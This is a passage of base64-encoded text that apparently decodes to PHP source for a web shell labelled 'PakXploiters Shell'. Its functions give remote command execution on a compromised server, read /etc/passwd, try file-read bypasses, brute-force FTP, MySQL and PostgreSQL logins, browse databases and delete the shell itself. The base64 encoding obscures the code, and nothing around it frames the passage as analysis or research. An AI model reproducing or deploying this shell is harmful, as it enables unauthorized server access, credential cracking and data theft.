1cmwgKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiMyIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPkluaV9yZXN0b3JlIChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjQiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48c3Bhbj5Qb3NpeF9nZXRwd3VpZCAoIlJlYWQiIC9ldGMvcGFzc3dkKTwvc3Bhbj48dGFibGU+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNSIsdGhpcy5wYXJhbTEudmFsdWUsdGhpcy5wYXJhbTIudmFsdWUpO3JldHVybiBmYWxzZTtcJz48dHI+PHRkPkZyb208L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0xIHZhbHVlPTA+PC90ZD48L3RyPjx0cj48dGQ+VG88L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0yIHZhbHVlPTEwMDA+PC90ZD48L3RyPjwvdGFibGU+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48YnI+PHNwYW4+SW1hcF9vcGVuIChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjYiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7CiAgICBpZigkdGVtcCkKICAgICAgICBlY2hvICc8cHJlIGNsYXNzPSJtbDEiIHN0eWxlPSJtYXJnaW4tdG9wOjVweCIgaWQ9Ik91dHB1dCI+Jy4kdGVtcC4nPC9wcmU+JzsKICAgIGVjaG8gJzwvZGl2Pic7CiAgICBwcmludEZvb3RlcigpOwp9CgpmdW5jdGlvbiBhY3Rpb25Db25zb2xlKCkgewogICAgaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKSB7CiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSB0cnVlOwogICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgZWNobyAiZG9jdW1lbnQuY2YuY21kLnZhbHVlPScnO1xuIjsKICAgICAgICAkdGVtcCA9IEBpY29udigkX1BPU1RbJ2NoYXJzZXQnXSwgJ1VURi04JywgYWRkY3NsYXNoZXMoIlxuJCAiLiRfUE9TVFsncDEnXS4iXG4iLmV4KCRfUE9TVFsncDEnXSksIlxuXHJcdFxcJ1wwIikpOwogICAgICAgIGlmKHByZWdfbWF0Y2goIiEuKmNkXHMrKFteO10rKSQhIiwkX1BPU1RbJ3AxJ10sJG1hdGNoKSkgICAgewogICAgICAgICAgICBpZihAY2hkaXIoJG1hdGNoWzFdKSkgewogICAgICAgICAgICAgICAgJEdMT0JBTFNbJ2N3ZCddID0gQGdldGN3ZCgpOwogICAgICAgICAgICAgICAgZWNobyAiZG9jdW1lbnQubWYuYy52YWx1ZT0nIi4kR0xPQkFMU1snY3dkJ10uIic7IjsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBlY2hvICJkb2N1bWVudC5jZi5vdXRwdXQudmFsdWUrPSciLiR0ZW1wLiInOyI7CiAgICAgICAgZWNobyAiZG9jdW1lbnQuY2Yub3V0cHV0LnNjcm9sbFRvcCA9IGRvY3VtZW50LmNmLm91dHB1dC5zY3JvbGxIZWlnaHQ7IjsKICAgICAgICAkdGVtcCA9IG9iX2dldF9jbGVhbigpOwogICAgICAgIGVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7CiAgICAgICAgZXhpdDsKICAgIH0KICAgIHByaW50SGVhZGVyKCk7CgplY2hvICc8c2NyaXB0PgppZih3aW5kb3cuRXZlbnQpIHdpbmRvdy5jYXB0dXJlRXZlbnRzKEV2ZW50LktFWURPV04pOwp2YXIgY21kcyA9IG5ldyBBcnJheSgiIik7CnZhciBjdXIgPSAwOwpmdW5jdGlvbiBrcChlKSB7CiAgICB2YXIgbiA9ICh3aW5kb3cuRXZlbnQpID8gZS53aGljaCA6IGUua2V5Q29kZTsKICAgIGlmKG4gPT0gMzgpIHsKICAgICAgICBjdXItLTsKICAgICAgICBpZihjdXI+PTApCiAgICAgICAgICAgIGRvY3VtZW50LmNmLmNtZC52YWx1ZSA9IGNtZHNbY3VyXTsKICAgICAgICBlbHNlCiAgICAgICAgICAgIGN1cisrOwogICAgfSBlbHNlIGlmKG4gPT0gNDApIHsKICAgICAgICBjdXIrKzsKICAgICAgICBpZihjdXIgPCBjbWRzLmxlbmd0aCkKICAgICAgICAgICAgZG9jdW1lbnQuY2YuY21kLnZhbHVlID0gY21kc1tjdXJdOwogICAgICAgIGVsc2UKICAgICAgICAgICAgY3VyLS07CiAgICB9Cn0KZnVuY3Rpb24gYWRkKGNtZCkgewogICAgY21kcy5wb3AoKTsKICAgIGNtZHMucHVzaChjbWQpOwogICAgY21kcy5wdXNoKCIiKTsKICAgIGN1ciA9IGNtZHMubGVuZ3RoLTE7Cn0KPC9zY3JpcHQ+JzsKICAgIGVjaG8gJzxoMT5Db25zb2xlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PGZvcm0gbmFtZT1jZiBvbnN1Ym1pdD0iaWYoZG9jdW1lbnQuY2YuY21kLnZhbHVlPT1cJ2NsZWFyXCcpe2RvY3VtZW50LmNmLm91dHB1dC52YWx1ZT1cJ1wnO2RvY3VtZW50LmNmLmNtZC52YWx1ZT1cJ1wnO3JldHVybiBmYWxzZTt9YWRkKHRoaXMuY21kLnZhbHVlKTtpZih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5jbWQudmFsdWUpO31lbHNle2cobnVsbCxudWxsLHRoaXMuY21kLnZhbHVlKTt9IHJldHVybiBmYWxzZTsiPjxzZWxlY3QgbmFtZT1hbGlhcz4nOwogICAgZm9yZWFjaCgkR0xPQkFMU1snYWxpYXNlcyddIGFzICRuID0+ICR2KSB7CiAgICAgICAgaWYoJHYgPT0gJycpIHsKICAgICAgICAgICAgZWNobyAnPG9wdGdyb3VwIGxhYmVsPSItJy5odG1sc3BlY2lhbGNoYXJzKCRuKS4nLSI+PC9vcHRncm91cD4nOwogICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCR2KS4nIj4nLiRuLic8L29wdGlvbj4nOwogICAgfQogICAgaWYoZW1wdHkoJF9QT1NUWydhamF4J10pJiYhZW1wdHkoJF9QT1NUWydwMSddKSkKICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IGZhbHNlOwogICAgZWNobyAnPC9zZWxlY3Q+PGlucHV0IHR5cGU9YnV0dG9uIG9uY2xpY2s9ImFkZChkb2N1bWVudC5jZi5hbGlhcy52YWx1ZSk7aWYoZG9jdW1lbnQuY2YuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCxkb2N1bWVudC5jZi5hbGlhcy52YWx1ZSk7fWVsc2V7ZyhudWxsLG51bGwsZG9jdW1lbnQuY2YuYWxpYXMudmFsdWUpO30iIHZhbHVlPSI+PiI+IDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICcuKCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuJz4gc2VuZCB1c2luZyBBSkFYPGJyLz48dGV4dGFyZWEgY2xhc3M9YmlnYXJlYSBuYW1lPW91dHB1dCBzdHlsZT0iYm9yZGVyLWJvdHRvbTowOyIgcmVhZG9ubHk+JzsKICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7CiAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCIkICIuJF9QT1NUWydwMSddLiJcbiIuZXgoJF9QT1NUWydwMSddKSk7CiAgICB9CiAgICBlY2hvICc8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jbWQgc3R5bGU9ImJvcmRlci10b3A6MDt3aWR0aDoxMDAlOyIgb25rZXlkb3duPSJrcChldmVudCk7Ij4nOwogICAgZWNobyAnPC9mb3JtPjwvZGl2PjxzY3JpcHQ+ZG9jdW1lbnQuY2YuY21kLmZvY3VzKCk7PC9zY3JpcHQ+JzsKICAgIHByaW50Rm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvbkxvZ291dCgpIHsKICAgIHVuc2V0KCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0pOwogICAgZWNobyAnPHRpdGxlPlBha1hwbG9pdGVycyBTaGVsbCB8IExvZ291dDwvdGl0bGU+PGJvZHkgYmdjb2xvcj0iIzAwMCI+PGNlbnRlcj48aDE+QmFCeWUgLSAuJy4gJGN5YmVyX25hbWUgLic8L2gxPjxpbWcgc3JjPSJodHRwOi8vb2k1Ny50aW55cGljLmNvbS9tYWg0ZWMuanBnIiBhbHQ9ImZsYWciIGhlaWdodD0iNDA4IiB3aWR0aD0iNTAwIj48YnI+PGZvbnQgY29sb3I9IiNhM2U5NTYiPjwvY2VudGVyPgogICAgICAgICAgPHN0eWxlPmlucHV0IHtib3JkZXI6MXB4IHNvbGlkIGJsYWNrOyB9PC9zdHlsZT4KICAgICAgICAgIDxjZW50ZXI+PGZvcm0gbWV0aG9kPXBvc3Q+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwYXNzIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjp0cmFuc3BhcmVudDsgY29sb3I6d2hpdGU7Ij48L2Zvcm0+PGZvbnQgY29sb3I9ImdyZWVuIj4uLi4uL0xvZ291dCBTdWNjZXNzZnVseTxmb250IGNvbG9yPSJ3aGl0ZSI+PC9jZW50ZXI+JzsKfQoKZnVuY3Rpb24gYWN0aW9uU2VsZlJlbW92ZSgpIHsKICAgIHByaW50SGVhZGVyKCk7CiAgICBpZigkX1BPU1RbJ3AxJ10gPT0gJ3llcycpIHsKICAgICAgICBpZihAdW5saW5rKFNFTEZfUEFUSCkpCiAgICAgICAgICAgIGRpZSgnU2hlbGwgaGFzIGJlZW4gcmVtb3ZlZCcpOwogICAgICAgIGVsc2UKICAgICAgICAgICAgZWNobyAndW5saW5rIGVycm9yISc7CiAgICB9CiAgICBlY2hvICc8aDE+U3VpY2lkZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50PlJlYWxseSB3YW50IHRvIHJlbW92ZSB0aGUgc2hlbGw/PGJyPjxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxcJ3llc1wnKSI+WWVzPC9hPjwvZGl2Pic7CiAgICBwcmludEZvb3RlcigpOwp9CgpmdW5jdGlvbiBhY3Rpb25CcnV0ZWZvcmNlKCkgewogICAgcHJpbnRIZWFkZXIoKTsKICAgIGlmKCBpc3NldCgkX1BPU1RbJ3Byb3RvJ10pICkgewogICAgICAgIGVjaG8gJzxoMT5SZXN1bHRzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHNwYW4+VHlwZTo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3Byb3RvJ10pLicgPHNwYW4+U2VydmVyOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc2VydmVyJ10pLic8YnI+JzsKICAgICAgICBpZiggJF9QT1NUWydwcm90byddID09ICdmdHAnICkgewogICAgICAgICAgICBmdW5jdGlvbiBicnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsKICAgICAgICAgICAgICAgICRmcCA9IEBmdHBfY29ubmVjdCgkaXAsICRwb3J0PyRwb3J0OjIxKTsKICAgICAgICAgICAgICAgIGlmKCEkZnApIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgICRyZXMgPSBAZnRwX2xvZ2luKCRmcCwgJGxvZ2luLCAkcGFzcyk7CiAgICAgICAgICAgICAgICBAZnRwX2Nsb3NlKCRmcCk7CiAgICAgICAgICAgICAgICByZXR1cm4gJHJlczsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmKCAkX1BPU1RbJ3Byb3RvJ10gPT0gJ215c3FsJyApIHsKICAgICAgICAgICAgZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7CiAgICAgICAgICAgICAgICAkcmVzID0gQG15c3FsX2Nvbm5lY3QoJGlwLic6Jy4kcG9ydD8kcG9ydDozMzA2LCAkbG9naW4sICRwYXNzKTsKICAgICAgICAgICAgICAgIEBteXNxbF9jbG9zZSgkcmVzKTsKICAgICAgICAgICAgICAgIHJldHVybiAkcmVzOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlaWYoICRfUE9TVFsncHJvdG8nXSA9PSAncGdzcWwnICkgewogICAgICAgICAgICBmdW5jdGlvbiBicnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsKICAgICAgICAgICAgICAgICRzdHIgPSAiaG9zdD0nIi4kaXAuIicgcG9ydD0nIi4kcG9ydC4iJyB1c2VyPSciLiRsb2dpbi4iJyBwYXNzd29yZD0nIi4kcGFzcy4iJyBkYm5hbWU9JyciOwogICAgICAgICAgICAgICAgJHJlcyA9IEBwZ19jb25uZWN0KCRzZXJ2ZXJbMF0uJzonLiRzZXJ2ZXJbMV0/JHNlcnZlclsxXTo1NDMyLCAkbG9naW4sICRwYXNzKTsKICAgICAgICAgICAgICAgIEBwZ19jbG9zZSgkcmVzKTsKICAgICAgICAgICAgICAgIHJldHVybiAkcmVzOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICRzdWNjZXNzID0gMDsKICAgICAgICAkYXR0ZW1wdHMgPSAwOwogICAgICAgICRzZXJ2ZXIgPSBleHBsb2RlKCI6IiwgJF9QT1NUWydzZXJ2ZXInXSk7CiAgICAgICAgaWYoJF9QT1NUWyd0eXBlJ10gPT0gMSkgewogICAgICAgICAgICAkdGVtcCA9IEBmaWxlKCcvZXRjL3Bhc3N3ZCcpOwogICAgICAgICAgICBpZiggaXNfYXJyYXkoJHRlbXApICkKICAgICAgICAgICAgICAgIGZvcmVhY2goJHRlbXAgYXMgJGxpbmUpIHsKICAgICAgICAgICAgICAgICAgICAkbGluZSA9IGV4cGxvZGUoIjoiLCAkbGluZSk7CiAgICAgICAgICAgICAgICAgICAgKyskYXR0ZW1wdHM7CiAgICAgICAgICAgICAgICAgICAgaWYoIGJydXRlRm9yY2UoQCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkbGluZVswXSkgKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRzdWNjZXNzKys7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPGJyPic7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGlmKEAkX1BPU1RbJ3JldmVyc2UnXSkgewogICAgICAgICAgICAgICAgICAgICAgICAkdG1wID0gIiI7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcigkaT1zdHJsZW4oJGxpbmVbMF0pLTE7ICRpPj0wOyAtLSRpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRtcCAuPSAkbGluZVswXVskaV07CiAgICAgICAgICAgICAgICAgICAgICAgICsrJGF0dGVtcHRzOwogICAgICAgICAgICAgICAgICAgICAgICBpZiggYnJ1dGVGb3JjZShAJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJGxpbmVbMF0sICR0bXApICkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN1Y2Nlc3MrKzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCR0bXApOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmKCRfUE9TVFsndHlwZSddID09IDIpIHsKICAgICAgICAgICAgJHRlbXAgPSBAZmlsZSgkX1BPU1RbJ2RpY3QnXSk7CiAgICAgICAgICAgIGlmKCBpc19hcnJheSgkdGVtcCkgKQogICAgICAgICAgICAgICAgZm9yZWFjaCgkdGVtcCBhcyAkbGluZSkgewogICAgICAgICAgICAgICAgICAgICRsaW5lID0gdHJpbSgkbGluZSk7CiAgICAgICAgICAgICAgICAgICAgKyskYXR0ZW1wdHM7CiAgICAgICAgICAgICAgICAgICAgaWYoIGJydXRlRm9yY2UoJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJF9QT1NUWydsb2dpbiddLCAkbGluZSkgKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRzdWNjZXNzKys7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2xvZ2luJ10pLic8L2I+OicuaHRtbHNwZWNpYWxjaGFycygkbGluZSkuJzxicj4nOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZWNobyAiPHNwYW4+QXR0ZW1wdHM6PC9zcGFuPiAkYXR0ZW1wdHMgPHNwYW4+U3VjY2Vzczo8L3NwYW4+ICRzdWNjZXNzPC9kaXY+PGJyPiI7CiAgICB9CiAgICBlY2hvICc8aDE+RlRQIGJydXRlZm9yY2U8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48dGFibGU+PGZvcm0gbWV0aG9kPXBvc3Q+PHRyPjx0ZD48c3Bhbj5UeXBlPC9zcGFuPjwvdGQ+JwogICAgICAgIC4nPHRkPjxzZWxlY3QgbmFtZT1wcm90bz48b3B0aW9uIHZhbHVlPWZ0cD5GVFA8L29wdGlvbj48b3B0aW9uIHZhbHVlPW15c3FsPk15U3FsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1wZ3NxbD5Qb3N0Z3JlU3FsPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD48L3RyPjx0cj48dGQ+JwogICAgICAgIC4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+JwogICAgICAgIC4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnYSddKS4nIj4nCiAgICAgICAgLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydjaGFyc2V0J10pLiciPicKICAgICAgICAuJzxzcGFuPlNlcnZlcjpwb3J0PC9zcGFuPjwvdGQ+JwogICAgICAgIC4nPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zZXJ2ZXIgdmFsdWU9IjEyNy4wLjAuMSI+PC90ZD48L3RyPicKICAgICAgICAuJzx0cj48dGQ+PHNwYW4+QnJ1dGUgdHlwZTwvc3Bhbj48L3RkPicKICAgICAgICAuJzx0ZD48bGFiZWw+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSIxIiBjaGVja2VkPiAvZXRjL3Bhc3N3ZDwvbGFiZWw+PC90ZD48L3RyPicKICAgICAgICAuJzx0cj48dGQ+PC90ZD48dGQ+PGxhYmVsIHN0eWxlPSJwYWRkaW5nLWxlZnQ6MTVweCI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1yZXZlcnNlIHZhbHVlPTEgY2hlY2tlZD4gcmV2ZXJzZSAobG9naW4gLT4gbmlnb2wpPC9sYWJlbD48L3RkPjwvdHI+JwogICAgICAgIC4nPHRyPjx0ZD48L3RkPjx0ZD48bGFiZWw+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSIyIj4gRGljdGlvbmFyeTwvbGFiZWw+PC90ZD48L3RyPicKICAgICAgICAuJzx0cj48dGQ+PC90ZD48dGQ+PHRhYmxlIHN0eWxlPSJwYWRkaW5nLWxlZnQ6MTVweCI+PHRyPjx0ZD48c3Bhbj5Mb2dpbjwvc3Bhbj48L3RkPicKICAgICAgICAuJzx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bG9naW4gdmFsdWU9ImtvbXNlbiI+PC90ZD48L3RyPicKICAgICAgICAuJzx0cj48dGQ+PHNwYW4+RGljdGlvbmFyeTwvc3Bhbj48L3RkPicKICAgICAgICAuJzx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGljdCB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJ3Bhc3N3ZC5kaWMiPjwvdGQ+PC90cj48L3RhYmxlPicKICAgICAgICAuJzwvdGQ+PC90cj48dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT4nOwogICAgZWNobyAnPC9kaXY+PGJyPic7CiAgICBwcmludEZvb3RlcigpOwp9CgpmdW5jdGlvbiBhY3Rpb25TcWwoKSB7CiAgICBjbGFzcyBEYkNsYXNzIHsKICAgICAgICB2YXIgJHR5cGU7CiAgICAgICAgdmFyICRsaW5rOwogICAgICAgIHZhciAkcmVzOwogICAgICAgIGZ1bmN0aW9uIERiQ2xhc3MoJHR5cGUpICAgIHsKICAgICAgICAgICAgJHRoaXMtPnR5cGUgPSAkdHlwZTsKICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gY29ubmVjdCgkaG9zdCwgJHVzZXIsICRwYXNzLCAkZGJuYW1lKXsKICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgICB7CiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6CiAgICAgICAgICAgICAgICAgICAgaWYoICR0aGlzLT5saW5rID0gQG15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MsdHJ1ZSkgKSByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzoKICAgICAgICAgICAgICAgICAgICAkaG9zdCA9IGV4cGxvZGUoJzonLCAkaG9zdCk7CiAgICAgICAgICAgICAgICAgICAgaWYoISRob3N0WzFdKSAkaG9zdFsxXT01NDMyOwogICAgICAgICAgICAgICAgICAgIGlmKCAkdGhpcy0+bGluayA9IEBwZ19jb25uZWN0KCJob3N0PXskaG9zdFswXX0gcG9ydD17JGhvc3RbMV19IHVzZXI9JHVzZXIgcGFzc3dvcmQ9JHBhc3MgZGJuYW1lPSRkYm5hbWUiKSApIHJldHVybiB0cnVlOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gc2VsZWN0ZGIoJGRiKSB7CiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgICAgewogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOgogICAgICAgICAgICAgICAgICAgIGlmIChAbXlzcWxfc2VsZWN0X2RiKCRkYikpcmV0dXJuIHRydWU7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICBmdW5jdGlvbiBxdWVyeSgkc3RyKSB7CiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgewogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOgogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVzID0gQG15c3FsX3F1ZXJ5KCRzdHIpOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOgogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVzID0gQHBnX3F1ZXJ5KCR0aGlzLT5saW5rLCRzdHIpOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gZmV0Y2goKSB7CiAgICAgICAgICAgICRyZXMgPSBmdW5jX251bV9hcmdzKCk/ZnVuY19nZXRfYXJnKDApOiR0aGlzLT5yZXM7CiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgICAgewogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOgogICAgICAgICAgICAgICAgICAgIHJldHVybiBAbXlzcWxfZmV0Y2hfYXNzb2MoJHJlcyk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEBwZ19mZXRjaF9hc3NvYygkcmVzKTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIGxpc3REYnMoKSB7CiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgICAgewogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOgogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVzID0gQG15c3FsX2xpc3RfZGJzKCR0aGlzLT5saW5rKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOgogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJTRUxFQ1QgZGF0bmFtZSBGUk9NIHBnX2RhdGFiYXNlIik7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIGxpc3RUYWJsZXMoKSB7CiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgICAgewogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOgogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCdTSE9XIFRBQkxFUycpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoInNlbGVjdCB0YWJsZV9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSAodGFibGVfc2NoZW1hICE9ICdpbmZvcm1hdGlvbl9zY2hlbWEnIEFORCB0YWJsZV9zY2hlbWEgIT0gJ3BnX2NhdGFsb2cnKSBvciB0YWJsZV9uYW1lID0gJ3BnX3VzZXInIik7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIGVycm9yKCkgewogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgIHsKICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoKICAgICAgICAgICAgICAgICAgICByZXR1cm4gQG15c3FsX2Vycm9yKCR0aGlzLT5saW5rKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOgogICAgICAgICAgICAgICAgICAgIHJldHVybiBAcGdfbGFzdF9lcnJvcigkdGhpcy0+bGluayk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIHNldENoYXJzZXQoJHN0cikgewogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgIHsKICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoKICAgICAgICAgICAgICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX3NldF9jaGFyc2V0JykpCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBAbXlzcWxfc2V0X2NoYXJzZXQ